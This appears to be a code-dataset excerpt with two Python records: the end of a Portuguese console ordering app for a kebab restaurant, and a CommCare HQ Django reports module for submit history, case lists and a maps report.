pagar: R$ {preco_final:.2f}|')\n print('|--------------------------------------|')\n print()\n print('Digite o endereço para a entrega.')\n\n\ndef verificar_tipo_pedido(valor='0', limite=1):\n while not valor.isdigit():\n print('Digite um número inteiro por-favor')\n valor = input(': ')\n valor = int(valor)\n\n if valor > limite or valor <= 0:\n print('A opção que você digitou não é válida! Por-favor tente novamente')\n return verificar_tipo_pedido(input(': '), limite)\n return valor\n\n\ndef verificar_quant_pedida(valor='0'):\n while not valor.isdigit():\n print('Digite um número inteiro por-favor')\n valor = input(': ')\n valor = int(valor)\n\n if valor <= 0:\n print('A opção que você digitou não é válida! Por-favor tente novamente')\n return verificar_tipo_pedido(input(': '))\n return valor\n\n\ndef efetuar_pedidos():\n global lista_itens_factura\n global lista_precos_factura\n print(\"\"\"---------------------------\n SUAS OPÇÕES:\n---------------------------\n[1]- ESPETINHOS\n[2]- ACOMPANHAMENTO\n[3]- BEBIDAS\n[4]- COMBOS\n[5]- CANCERLAR PEDIDO\n[6]- EFETUAR PEDIDO\n---------------------------\"\"\")\n\n op_pedido = input('Digite a opção: ').strip()[0]\n\n if op_pedido == '1':\n quant_esp = verificar_quant_pedida(input('Quantos você deseja? '))\n while quant_esp > 0:\n car_esp()\n sabor = verificar_tipo_pedido(input(f'Dígite o sabor do Espetinho: '), 12)\n quant = verificar_quant_pedida(input(f'Quantos {espetinho[sabor - 1][0]} você deseja: '))\n while quant > quant_esp:\n print(f'Infelizmente você pediu uma quantidade inferior a essa!'\n f'\\nDigite uma quantidade que vai de 1 até {quant_esp}')\n quant = verificar_quant_pedida(input(f'Quantos {espetinho[sabor - 1][0]} você deseja: '))\n quant_esp -= quant\n lista_itens_factura.append(espetinho[sabor - 1][0])\n lista_precos_factura.append(espetinho[sabor - 1][1] * quant)\n elif op_pedido == '2':\n quant_acom = verificar_quant_pedida(input('Quantos você deseja? '))\n while quant_acom > 0:\n car_acom()\n op_acom = verificar_tipo_pedido(input(f'Dígite o Acompanhamento: '), 5)\n quant = verificar_quant_pedida(input(f'Quantos {acompanhamento[op_acom - 1][0]} você deseja: '))\n while quant > quant_acom:\n print(f'Infelizmente você pediu uma quantidade inferior a essa!'\n f'\\nDigite uma quantidade que vai de 1 até {quant_acom}')\n quant = verificar_quant_pedida(input(f'Quantos {acompanhamento[op_acom - 1][0]} você deseja: '))\n quant_acom -= quant\n lista_itens_factura.append(acompanhamento[op_acom - 1][0])\n lista_precos_factura.append(acompanhamento[op_acom - 1][1] * quant)\n elif op_pedido == '3':\n quant_bebi = int(input('Quantos você deseja? '))\n while quant_bebi > 0:\n car_bebida()\n op_bebi = verificar_tipo_pedido(input(f'Dígite a Bebida: '), 9)\n quant = verificar_quant_pedida(input(f'Quantos {bebidas[op_bebi - 1][0]} você deseja: '))\n while quant > quant_bebi:\n print(f'Infelizmente você pediu uma quantidade inferior a essa!'\n f'\\nDigite uma quantidade que vai de 1 até {quant_bebi}')\n quant = verificar_quant_pedida(input(f'Quantas {bebidas[op_bebi - 1][0]} você deseja: '))\n quant_bebi -= quant\n lista_itens_factura.append(bebidas[op_bebi - 1][0])\n lista_precos_factura.append(bebidas[op_bebi - 1][1] * quant)\n elif op_pedido == '4':\n quant_combo = verificar_quant_pedida(input('Quantos você deseja? '))\n while quant_combo > 0:\n car_combo()\n op_combo = verificar_tipo_pedido(input(f'Dígite o Combo: '), 7)\n quant = verificar_quant_pedida(input(f'Quantos {combos[op_combo - 1][0]} você deseja: '))\n while quant > quant_combo:\n print(f'Infelizmente você pediu uma quantidade inferior a essa!'\n f'\\nDigite uma quantidade que vai de 1 até {quant_combo}')\n quant = verificar_quant_pedida(input(f'Quantas {combos[op_combo - 1][0]} você deseja: '))\n quant_combo -= quant\n lista_itens_factura.append(combos[op_combo - 1][0])\n\n if indice_da_semana == op_combo - 1:\n print(f'O combo {op_combo}: {combos[op_combo - 1][0]} está custando R$ {combos[op_combo - 1][1] - 5}\\nPorque está em promoção')\n lista_precos_factura.append((combos[op_combo - 1][1] - 5) * quant)\n else:\n lista_precos_factura.append(combos[op_combo - 1][1] * quant)\n elif op_pedido == '5':\n lista_itens_factura.clear()\n lista_precos_factura.clear()\n elif op_pedido == '6':\n return False\n return True\n\n\ndef op_pedi():\n flag = efetuar_pedidos()\n while True:\n flag = efetuar_pedidos()\n\n if flag == False:\n print(\"\"\"-------------------------------------------\n Seu pedido foi realizado com sucesso!\n -------------------------------------------\"\"\")\n conta()\n break\n exit()\n\n\ndef vol_car():\n print(\"\"\"[1]- IR PARA O CARDÁPIO\n[2]- FAZER SEU PEDIDO\n[3]- VOLTAR AO MENU INICIAL\n--------------------------------------\"\"\")\n voltar = input('Dígite sua opção: ').strip()[0]\n if voltar != '1' and voltar != '2' and voltar != '3':\n print(\"\"\"------------------------------\n Não entendi.\n Dígite uma das opções:\n------------------------------\n[1]- IR PARA O CARDÁPIO\n[2]- FAZER SEU PEDIDO\n[3]- VOLTAR AO MENU PRINCIPAL\n------------------------------\"\"\")\n voltar = input('Dígite uma das opção: ').strip()[0]\n if voltar == '1':\n cardapio()\n elif voltar == '2':\n efetuar_pedidos()\n elif voltar == '3':\n main()\n\n\ndef menu_principal():\n print(\"\"\"--------------------------\nDígite uma das opções:\n--------------------------\n[1]- PROMOÇÕES DO DIA\n[2]- CARDÁPIO\n[3]- FAZER SEU PEDIDO\n[4]- FINALIZAR ATENDIMENTO\n---------------------------\"\"\")\n\n\ndef promocao_do_dia():\n print(f\"\"\"--------------------------------------\nPROMOÇÃO DO DIA ({dia_da_semana})\n--------------------------------------\n{promoção_do_dia[indice_da_semana]}\n--------------------------------------\"\"\")\n vol_car()\n\n\ndef cardapio():\n print(\"\"\"---------------------------\n CARDÁPIO\n---------------------------\n[1]- ESPETINHOS\n[2]- ACOMPANHAMENTO\n[3]- BEBIDAS\n[4]- COMBOS\n[5]- VOLTAR AO MENU INICIAL\n---------------------------\"\"\")\n\n car = input('Dígite sua Opção: ')\n print(\"\"\"----------------------------\"\"\")\n\n while car != '1' and car != '2' and car != '3' and car != '4' and car != '5':\n print(\"\"\"----------------------------\n Não entendi\n Dígite uma das opções\n----------------------------\n[1]- ESPETINHOS\n[2]- ACOMPANHAMENTO\n[3]- BEBIDAS\n[4]- COMBOS\n[5]- VOLTAR AO MENU INICIAL\n----------------------------\"\"\")\n car = input('Dígite sua Opção: ').strip()[0]\n\n if car == '1':\n car_esp()\n vol_car()\n elif car == '2':\n car_acom()\n vol_car()\n elif car == '3':\n car_bebida()\n vol_car()\n elif car == '4':\n car_combo()\n vol_car()\n elif car == '5':\n main()\n\n\ndef pedido():\n print('----------------------------------')\n pronto = input('Pronto para fazer seu pedido [S/N]: ').upper().strip()[0]\n\n if pronto != 'S' and pronto != 'N':\n print(\"\"\"Não entendi\nDígite [S] para SIM | [N] para NÃO \"\"\")\n pronto = str(input('Pronto para fazer seu pedido [S/N]: ')).upper().strip()[0]\n elif pronto == 'S':\n op_pedi()\n print(\"\"\"-----------------------------------\n Deseja fazer mais um pedido?\nDígite [S] para SIM e [N] para NÃO\n-----------------------------------\"\"\")\n else:\n menu_principal()\n\ndef main():\n menu_principal()\n op1 = input('Digite a opção: ').strip()[0]\n if op1 != '1' and op1 != '2' and op1 != '3' and op1 != '4':\n print(\"\"\"--------------------------\nNão entendi a opção dígitada.\"\"\")\n menu_principal()\n op1 = input('Digite a opção: ').strip()[0]\n if op1 == '1':\n promocao_do_dia()\n elif op1 == '2':\n cardapio()\n elif op1 == '3':\n pedido()\n elif op1 == '4':\n return False\n return True\n\n\nif __name__ == '__main__':\n hora = datetime.today().hour\n print(\"\"\"---------------------------- \n-- ESTAÇÃO DO ESPETINHO -- \n----------------------------\"\"\")\n sleep(0.5)\n\n if hora < 12:\n print('Olá Bom Dia!')\n elif hora < 18:\n print('Olá Boa Tarde!')\n else:\n print('Olá Boa Noite!')\n print(\"\"\"Seja Bem-vindo! \nSou sua atendente virtual!\neu me chamo Ana.\nirei passar agora suas opções\"\"\")\n sleep(1)\n while True:\n flag = main()\n\n if flag == False:\n break\n print(\"\"\"-----------------------------\n Obrigado, volte sempre.\n -----------------------------\"\"\")\n", "sub_path": "App/ProjetoPython.py", "file_name": "ProjetoPython.py", "file_ext": "py", "file_size_in_byte": 15287, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "datetime.date.today", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 383, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 383, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 387, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 399, "usage_type": "call"}]} +{"seq_id": "583592277", "text": "import json\n\nfrom couchdbkit.exceptions import ResourceNotFound\nfrom couchdbkit.resource import RequestFailed\nimport dateutil\nfrom django.core.urlresolvers import reverse, NoReverseMatch\nfrom django.template.defaultfilters import yesno\nfrom django.utils import html\nfrom django.utils.safestring import mark_safe\nimport pytz\nfrom django.conf import settings\nfrom django.core import cache\nfrom django.utils.translation import ugettext as _\nfrom django.utils.translation import ugettext_noop\nimport simplejson\n\nfrom casexml.apps.case.models import CommCareCaseAction\nfrom corehq.apps.api.es import CaseES\nfrom corehq.apps.hqsofabed.models import HQFormData\nfrom corehq.apps.reports.filters.search import SearchFilter\nfrom corehq.apps.reports.standard import ProjectReport, ProjectReportParametersMixin\nfrom corehq.apps.reports.datatables import DataTablesHeader, DataTablesColumn\nfrom corehq.apps.reports.display import xmlns_to_name\nfrom corehq.apps.reports.fields import SelectOpenCloseField, SelectMobileWorkerField\nfrom corehq.apps.reports.generic import GenericTabularReport, ProjectInspectionReportParamsMixin, ElasticProjectInspectionReport\nfrom corehq.apps.users.models import CommCareUser, CouchUser\nfrom dimagi.utils.couch.database import get_db\nfrom dimagi.utils.couch.pagination import CouchFilter\nfrom dimagi.utils.decorators.memoized import memoized\nfrom dimagi.utils.timezones import utils as tz_utils\nfrom corehq.apps.groups.models import Group\n\n\n\nclass ProjectInspectionReport(ProjectInspectionReportParamsMixin, GenericTabularReport, ProjectReport, ProjectReportParametersMixin):\n \"\"\"\n Base class for this reporting section\n \"\"\"\n exportable = False\n asynchronous = False\n ajax_pagination = True\n fields = ['corehq.apps.reports.fields.FilterUsersField',\n 'corehq.apps.reports.fields.SelectMobileWorkerField']\n\n\nclass SubmitHistory(ProjectInspectionReport):\n name = ugettext_noop('Submit History')\n slug = 'submit_history'\n\n @property\n def headers(self):\n headers = DataTablesHeader(DataTablesColumn(_(\"View Form\")),\n DataTablesColumn(_(\"Username\")),\n DataTablesColumn(_(\"Submit Time\")),\n DataTablesColumn(_(\"Form\")))\n headers.no_sort = True\n return headers\n\n _all_history = None\n @property\n def all_history(self):\n if self._all_history is None:\n self._all_history = HQFormData.objects.filter(userID__in=self.user_ids, domain=self.domain)\n return self._all_history\n\n @property\n def total_records(self):\n return self.all_history.count()\n\n @property\n def rows(self):\n rows = []\n all_hist = HQFormData.objects.filter(userID__in=self.user_ids, domain=self.domain)\n history = all_hist.extra(order_by=['-received_on'])[self.pagination.start:self.pagination.start+self.pagination.count]\n for data in history:\n if data.userID in self.user_ids:\n time = tz_utils.adjust_datetime_to_timezone(data.received_on, pytz.utc.zone, self.timezone.zone)\n time = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n xmlns = data.xmlns\n app_id = data.app_id\n xmlns = xmlns_to_name(self.domain, xmlns, app_id=app_id)\n rows.append([self._form_data_link(data.instanceID), self.usernames[data.userID], time, xmlns])\n return rows\n\n def _form_data_link(self, instance_id):\n return \"%(text)s\" % {\n \"url\": reverse('render_form_data', args=[self.domain, instance_id]),\n \"text\": _(\"View Form\")\n }\n\n\nclass CaseListFilter(CouchFilter):\n view = \"case/all_cases\"\n\n def __init__(self, domain, case_owner=None, case_type=None, open_case=None):\n\n self.domain = domain\n\n key = [self.domain]\n prefix = [open_case] if open_case else [\"all\"]\n\n if case_type:\n prefix.append(\"type\")\n key = key+[case_type]\n if case_owner:\n prefix.append(\"owner\")\n key = key+[case_owner]\n\n key = [\" \".join(prefix)]+key\n\n self._kwargs = dict(\n startkey=key,\n endkey=key+[{}],\n reduce=False\n )\n\n def get_total(self):\n if 'reduce' in self._kwargs:\n self._kwargs['reduce'] = True\n all_records = get_db().view(self.view,\n **self._kwargs).first()\n return all_records.get('value', 0) if all_records else 0\n\n def get(self, count):\n if 'reduce' in self._kwargs:\n self._kwargs['reduce'] = False\n return get_db().view(self.view,\n include_docs=True,\n limit=count,\n **self._kwargs).all()\n\nclass CaseDisplay(object):\n def __init__(self, report, case):\n \"\"\"\n case is a dict object of the case doc\n \"\"\"\n self.case = case\n self.report = report\n\n def parse_date(self, date_string):\n try:\n date_obj = dateutil.parser.parse(date_string)\n return date_obj\n except:\n return date_string\n\n def user_not_found_display(self, user_id):\n return _(\"Unknown [%s]\") % user_id\n\n @memoized\n def _get_username(self, user_id):\n username = self.report.usernames.get(user_id)\n if not username:\n mc = cache.get_cache('default')\n cache_key = \"%s.%s\" % (CouchUser.__class__.__name__, user_id)\n try:\n if mc.has_key(cache_key):\n user_dict = simplejson.loads(mc.get(cache_key))\n else:\n user_obj = CouchUser.get_by_user_id(self.owner_id) if user_id else None\n if user_obj:\n user_dict = user_obj.to_json()\n else:\n user_dict = {}\n cache_payload = simplejson.dumps(user_dict)\n mc.set(cache_key, cache_payload)\n if user_dict == {}:\n return self.user_not_found_display(user_id)\n else:\n user_obj = CouchUser.wrap(user_dict)\n username = user_obj.username\n except Exception:\n return None\n return username\n\n @property\n def owner_display(self):\n if self.owning_group and self.owning_group.name:\n return '%s' % self.owning_group.name\n else:\n return self._get_username(self.user_id)\n\n @property\n def closed_display(self):\n return yesno(self.case['closed'], \"closed,open\")\n\n @property\n def case_link(self):\n case_id, case_name = self.case['_id'], self.case['name']\n try:\n return html.mark_safe(\"%s\" % (\n html.escape(reverse('case_details', args=[self.report.domain, case_id])),\n html.escape(case_name),\n ))\n except NoReverseMatch:\n return \"%s (bad ID format)\" % case_name\n\n @property\n def case_type(self):\n return self.case['type']\n\n @property\n def opened_on(self):\n return self.report.date_to_json(self.parse_date(self.case['opened_on']))\n\n @property\n def modified_on(self):\n return self.report.date_to_json(self.modified_on_dt)\n\n @property\n def modified_on_dt(self):\n return self.parse_date(self.case['modified_on'])\n\n @property\n def owner_id(self):\n if 'owner_id' in self.case:\n return self.case['owner_id']\n elif 'user_id' in self.case:\n return self.case['user_id']\n else:\n return ''\n\n @property\n @memoized\n def owner_doc(self):\n try:\n doc = get_db().get(self.owner_id)\n except ResourceNotFound:\n return None, None\n else:\n return {\n 'CommCareUser': CommCareUser,\n 'Group': Group,\n }.get(doc['doc_type']), doc\n\n @property\n def owner_type(self):\n owner_class, _ = self.owner_doc\n if owner_class == CommCareUser:\n return 'user'\n elif owner_class == Group:\n return 'group'\n else:\n return None\n\n @property\n def owner(self):\n klass, doc = self.owner_doc\n if klass:\n return klass.wrap(doc)\n\n @property\n def owning_group(self):\n mc = cache.get_cache('default')\n cache_key = \"%s.%s\" % (Group.__class__.__name__, self.owner_id)\n try:\n if mc.has_key(cache_key):\n cached_obj = simplejson.loads(mc.get(cache_key))\n wrapped = Group.wrap(cached_obj)\n return wrapped\n else:\n group_obj = Group.get(self.owner_id)\n mc.set(cache_key, simplejson.dumps(group_obj.to_json()))\n return group_obj\n except Exception:\n return None\n\n @property\n def user_id(self):\n return self.report.individual or self.owner_id\n\n @property\n def creating_user(self):\n creator_id = None\n for action in self.case['actions']:\n if action['action_type'] == 'create':\n action_doc = CommCareCaseAction.wrap(action)\n creator_id = action_doc.get_user_id()\n break\n if not creator_id:\n return _(\"No data\")\n return self._get_username(creator_id)\n\n\nclass CaseSearchFilter(SearchFilter):\n search_help_inline = mark_safe(ugettext_noop(\"\"\"Search any text, or use a targeted query. For more info see the Case Search help page\"\"\"))\n\n\nclass CaseListMixin(ElasticProjectInspectionReport, ProjectReportParametersMixin):\n fields = [\n 'corehq.apps.reports.fields.FilterUsersField',\n 'corehq.apps.reports.fields.SelectCaseOwnerField',\n 'corehq.apps.reports.fields.CaseTypeField',\n 'corehq.apps.reports.fields.SelectOpenCloseField',\n 'corehq.apps.reports.standard.inspect.CaseSearchFilter',\n ]\n\n case_filter = {}\n ajax_pagination = True\n asynchronous = True\n\n @property\n @memoized\n def case_es(self):\n return CaseES(self.domain)\n\n\n def build_query(self, case_type=None, filter=None, status=None, owner_ids=[], search_string=None):\n # there's no point doing filters that are like owner_id:(x1 OR x2 OR ... OR x612)\n # so past a certain number just exclude\n MAX_IDS = 50\n\n def _filter_gen(key, flist):\n if flist and len(flist) < MAX_IDS:\n yield {\"terms\": {\n key: [item.lower() if item else \"\" for item in flist]\n }}\n\n # demo user hack\n elif flist and \"demo_user\" not in flist:\n yield {\"not\": {\"term\": {key: \"demo_user\"}}}\n\n def _domain_term():\n return {\"term\": {\"domain.exact\": self.domain}}\n\n subterms = [_domain_term(), filter] if filter else [_domain_term()]\n if case_type:\n subterms.append({\"term\": {\"type.exact\": case_type}})\n\n if status:\n subterms.append({\"term\": {\"closed\": (status == 'closed')}})\n\n user_filters = list(_filter_gen('owner_id', owner_ids)) + \\\n list(_filter_gen('user_id', owner_ids))\n if user_filters:\n subterms.append({'or': user_filters})\n\n if search_string:\n query_block = {\n \"query_string\": {\"query\": search_string}} # todo, make sure this doesn't suck\n else:\n query_block = {\"match_all\": {}}\n\n and_block = {'and': subterms} if subterms else {}\n\n es_query = {\n 'query': {\n 'filtered': {\n 'query': query_block,\n 'filter': and_block\n }\n },\n 'sort': self.get_sorting_block(),\n 'from': self.pagination.start,\n 'size': self.pagination.count,\n }\n\n return es_query\n\n @property\n @memoized\n def es_results(self):\n case_es = self.case_es\n query = self.build_query(case_type=self.case_type, filter=self.case_filter,\n status=self.case_status, owner_ids=self.case_owners,\n search_string=SearchFilter.get_value(self.request, self.domain))\n return case_es.run_query(query)\n\n @property\n @memoized\n def case_owners(self):\n if self.individual:\n group_owners = self.case_sharing_groups\n else:\n group_owners = Group.get_case_sharing_groups(self.domain)\n group_owners = [group._id for group in group_owners]\n return self.user_ids + group_owners\n\n @property\n @memoized\n def case_sharing_groups(self):\n try:\n user = CommCareUser.get_by_user_id(self.individual)\n user = user if user.username_in_report else None\n return user.get_case_sharing_groups()\n except Exception:\n try:\n group = Group.get(self.individual)\n assert(group.doc_type == 'Group')\n return [group]\n except Exception:\n return []\n\n def get_case(self, row):\n if '_source' in row:\n case_dict = row['_source']\n else:\n raise ValueError(\"Case object is not in search result %s\" % row)\n\n if case_dict['domain'] != self.domain:\n raise Exception(\"case.domain != self.domain; %r and %r, respectively\" % (case_dict['domain'], self.domain))\n\n return case_dict\n\n @property\n def shared_pagination_GET_params(self):\n shared_params = super(CaseListMixin, self).shared_pagination_GET_params\n shared_params.append(dict(\n name=SelectOpenCloseField.slug,\n value=self.request.GET.get(SelectOpenCloseField.slug, '')\n ))\n return shared_params\n\n\nclass CaseListReport(CaseListMixin, ProjectInspectionReport):\n name = ugettext_noop('Case List')\n slug = 'case_list'\n\n @property\n def user_filter(self):\n return super(CaseListReport, self).user_filter\n\n @property\n def report_context(self):\n rep_context = super(CaseListReport, self).report_context\n return rep_context\n\n @property\n @memoized\n def rendered_report_title(self):\n if not self.individual:\n self.name = _(\"%(report_name)s for %(worker_type)s\") % {\n \"report_name\": _(self.name),\n \"worker_type\": _(SelectMobileWorkerField.get_default_text(self.user_filter))\n }\n return self.name\n\n @property\n def headers(self):\n headers = DataTablesHeader(\n DataTablesColumn(_(\"Case Type\"), prop_name=\"type.exact\"),\n DataTablesColumn(_(\"Name\"), prop_name=\"name.exact\"),\n DataTablesColumn(_(\"Owner\"), prop_name=\"owner_display\", sortable=False),\n DataTablesColumn(_(\"Created Date\"), prop_name=\"opened_on\"),\n DataTablesColumn(_(\"Created By\"), prop_name=\"opened_by_display\", sortable=False),\n DataTablesColumn(_(\"Modified Date\"), prop_name=\"modified_on\"),\n DataTablesColumn(_(\"Status\"), prop_name=\"get_status_display\", sortable=False)\n )\n return headers\n\n @property\n def rows(self):\n def _format_row(row):\n case = self.get_case(row)\n display = CaseDisplay(self, case)\n\n return [\n display.case_type,\n display.case_link,\n display.owner_display,\n display.opened_on,\n display.creating_user,\n display.modified_on,\n display.closed_display\n ]\n\n try:\n return [_format_row(item) for item in self.es_results['hits'].get('hits', [])]\n except RequestFailed:\n pass\n\n def date_to_json(self, date):\n return tz_utils.adjust_datetime_to_timezone\\\n (date, pytz.utc.zone, self.timezone.zone).strftime\\\n ('%Y-%m-%d %H:%M:%S') if date else \"\"\n\nclass MapReport(ProjectReport, ProjectReportParametersMixin):\n \"\"\"\nHOW TO CONFIGURE THIS REPORT\n\ncreate a couch doc as such:\n\n{\n \"doc_type\": \"MapsReportConfig\",\n \"domain\": ,\n \"config\": {\n \"case_types\": [\n // for each case type\n\n {\n \"case_type\": ,\n \"display_name\": ,\n\n // either of the following two fields\n \"geo_field\": ,\n \"geo_linked_to\": ,\n\n \"fields\": [\n // for each reportable field\n\n \"field\": , // or one of the following magic values:\n // \"_count\" -- report on the number of cases of this type\n \"display_name\": ,\n \"type\": , // can be \"numeric\", \"enum\", or \"num_discrete\" (enum with numeric values)\n\n // if type is \"numeric\" or \"num_discrete\"\n // these control the rendering of numeric data points (all are optional)\n \"scale\": , // if absent, scale is calculated dynamically based on the max value in the field\n \"color\": ,\n\n // if type is \"enum\" or \"num_discrete\" (optional, but recommended)\n \"values\": [\n // for each multiple-choice value\n\n {\n \"value\": ,\n \"label\": , //optional\n \"color\": , //optional\n },\n ]\n ]\n },\n ]\n }\n}\n\"\"\"\n\n name = ugettext_noop(\"Maps Sandbox\")\n slug = \"maps\"\n # todo: support some of these filters -- right now this report\n hide_filters = True\n # is more of a playground, so all the filtering is done in its\n # own ajax sidebar\n report_partial_path = \"reports/partials/maps.html\"\n asynchronous = False\n flush_layout = True\n\n @classmethod\n @memoized\n def get_config(cls, domain):\n try:\n config = get_db().view('reports/maps_config', key=[domain], include_docs=True).one()\n if config:\n config = config['doc']['config']\n except Exception:\n config = None\n return config\n\n @property\n def config(self):\n return self.get_config(self.domain)\n\n @property\n def report_context(self):\n return dict(\n maps_api_key=settings.GMAPS_API_KEY,\n case_api_url=reverse('cloudcare_get_cases', kwargs={'domain': self.domain}),\n config=json.dumps(self.config)\n )\n\n @classmethod\n def show_in_navigation(cls, domain=None, project=None, user=None):\n return cls.get_config(domain)\n", "sub_path": "corehq/apps/reports/standard/inspect.py", "file_name": "inspect.py", "file_ext": "py", "file_size_in_byte": 18843, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "corehq.apps.reports.generic.ProjectInspectionReportParamsMixin", "line_number": 35, "usage_type": "name"}, {"api_name": "corehq.apps.reports.generic.GenericTabularReport", "line_number": 35, "usage_type": "name"}, {"api_name": "corehq.apps.reports.standard.ProjectReport", "line_number": 35, "usage_type": "name"}, {"api_name": "corehq.apps.reports.standard.ProjectReportParametersMixin", "line_number": 35, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_noop", "line_number": 47, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesHeader", "line_number": 52, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 52, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 52, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 53, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 53, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 54, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 54, "usage_type": "call"}, {"api_name": "corehq.apps.reports.datatables.DataTablesColumn", "line_number": 55, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 55, "usage_type": "call"}, {"api_name": "corehq.apps.hqsofabed.models.HQFormData.objects.filter", "line_number": 63, "usage_type": "call"}, {"api_name": "corehq.apps.hqsofabed.models.HQFormData.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "corehq.apps.hqsofabed.models.HQFormData", "line_number": 63, "usage_type": "name"}, {"api_name": "corehq.apps.hqsofabed.models.HQFormData.objects.filter", "line_number": 73, "usage_type": "call"}, {"api_name": "corehq.apps.hqsofabed.models.HQFormData.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "corehq.apps.hqsofabed.models.HQFormData", "line_number": 73, "usage_type": "name"}, {"api_name": "dimagi.utils.timezones.utils.adjust_datetime_to_timezone", "line_number": 77, "usage_type": "call"}, {"api_name": "dimagi.utils.timezones.utils", "line_number": 77, "usage_type": "name"}, {"api_name": "pytz.utc", "line_number": 77, "usage_type": "attribute"}, {"api_name": "corehq.apps.reports.display.xmlns_to_name", "line_number": 81, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 87, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 88, "usage_type": "call"}, {"api_name": "dimagi.utils.couch.pagination.CouchFilter", "line_number": 92, "usage_type": "name"}, {"api_name": "dimagi.utils.couch.database.get_db", "line_number": 120, "usage_type": "call"}, {"api_name": "dimagi.utils.couch.database.get_db", "line_number": 127, "usage_type": "call"}, {"api_name": "dateutil.parser.parse", "line_number": 142, "usage_type": "call"}, {"api_name": "dateutil.parser", "line_number": 142, "usage_type": "attribute"}, {"api_name": "django.utils.translation.ugettext", "line_number": 148, "usage_type": "call"}, {"api_name": "django.core.cache.get_cache", "line_number": 154, "usage_type": "call"}, {"api_name": "django.core.cache", "line_number": 154, "usage_type": "name"}, {"api_name": "corehq.apps.users.models.CouchUser.__class__", "line_number": 155, "usage_type": "attribute"}, {"api_name": "corehq.apps.users.models.CouchUser", "line_number": 155, "usage_type": "name"}, {"api_name": "simplejson.loads", "line_number": 158, "usage_type": "call"}, {"api_name": "corehq.apps.users.models.CouchUser.get_by_user_id", "line_number": 160, "usage_type": "call"}, {"api_name": "corehq.apps.users.models.CouchUser", "line_number": 160, "usage_type": "name"}, {"api_name": "simplejson.dumps", "line_number": 165, "usage_type": "call"}, {"api_name": "corehq.apps.users.models.CouchUser.wrap", "line_number": 170, "usage_type": "call"}, {"api_name": "corehq.apps.users.models.CouchUser", "line_number": 170, "usage_type": "name"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 150, "usage_type": "name"}, {"api_name": "django.template.defaultfilters.yesno", "line_number": 185, "usage_type": "call"}, {"api_name": "django.utils.html.mark_safe", "line_number": 191, "usage_type": "call"}, {"api_name": "django.utils.html", "line_number": 191, "usage_type": "name"}, {"api_name": "django.utils.html.escape", "line_number": 192, "usage_type": "call"}, {"api_name": "django.utils.html", "line_number": 192, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 192, "usage_type": "call"}, {"api_name": "django.utils.html.escape", "line_number": 193, "usage_type": "call"}, {"api_name": "django.utils.html", "line_number": 193, "usage_type": "name"}, {"api_name": "django.core.urlresolvers.NoReverseMatch", "line_number": 195, "usage_type": "name"}, {"api_name": "dimagi.utils.couch.database.get_db", "line_number": 227, "usage_type": "call"}, {"api_name": "couchdbkit.exceptions.ResourceNotFound", "line_number": 228, "usage_type": "name"}, {"api_name": "corehq.apps.users.models.CommCareUser", "line_number": 232, "usage_type": "name"}, {"api_name": "corehq.apps.groups.models.Group", "line_number": 233, "usage_type": "name"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 224, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 238, "usage_type": "name"}, {"api_name": "corehq.apps.users.models.CommCareUser", "line_number": 239, "usage_type": "name"}, {"api_name": "corehq.apps.groups.models.Group", "line_number": 241, "usage_type": "name"}, {"api_name": "django.core.cache.get_cache", "line_number": 254, "usage_type": "call"}, {"api_name": "django.core.cache", "line_number": 254, "usage_type": "name"}, {"api_name": "corehq.apps.groups.models.Group.__class__", "line_number": 255, "usage_type": "attribute"}, {"api_name": "corehq.apps.groups.models.Group", "line_number": 255, "usage_type": "name"}, {"api_name": "simplejson.loads", "line_number": 258, "usage_type": "call"}, {"api_name": "corehq.apps.groups.models.Group.wrap", "line_number": 259, "usage_type": "call"}, {"api_name": "corehq.apps.groups.models.Group", "line_number": 259, "usage_type": "name"}, {"api_name": "corehq.apps.groups.models.Group.get", "line_number": 262, "usage_type": "call"}, {"api_name": "corehq.apps.groups.models.Group", "line_number": 262, "usage_type": "name"}, {"api_name": "simplejson.dumps", "line_number": 263, "usage_type": "call"}, {"api_name": "casexml.apps.case.models.CommCareCaseAction.wrap", "line_number": 277, "usage_type": "call"}, {"api_name": "casexml.apps.case.models.CommCareCaseAction", "line_number": 277, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 281, "usage_type": "call"}, {"api_name": "corehq.apps.reports.filters.search.SearchFilter", "line_number": 285, "usage_type": "name"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 286, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_noop", "line_number": 286, "usage_type": "call"}, {"api_name": "corehq.apps.reports.generic.ElasticProjectInspectionReport", "line_number": 289, "usage_type": "name"}, {"api_name": "corehq.apps.reports.standard.ProjectReportParametersMixin", "line_number": 289, "usage_type": "name"}, {"api_name": "corehq.apps.api.es.CaseES", "line_number": 305, "usage_type": "call"}, {"api_name": "dimagi.utils.decorators.memoized.memoized", "line_number": 303, "usage_type": "name"}, {"api_name": "corehq.apps.reports.filters.search.SearchFilter.get_value", "line_number": 366, 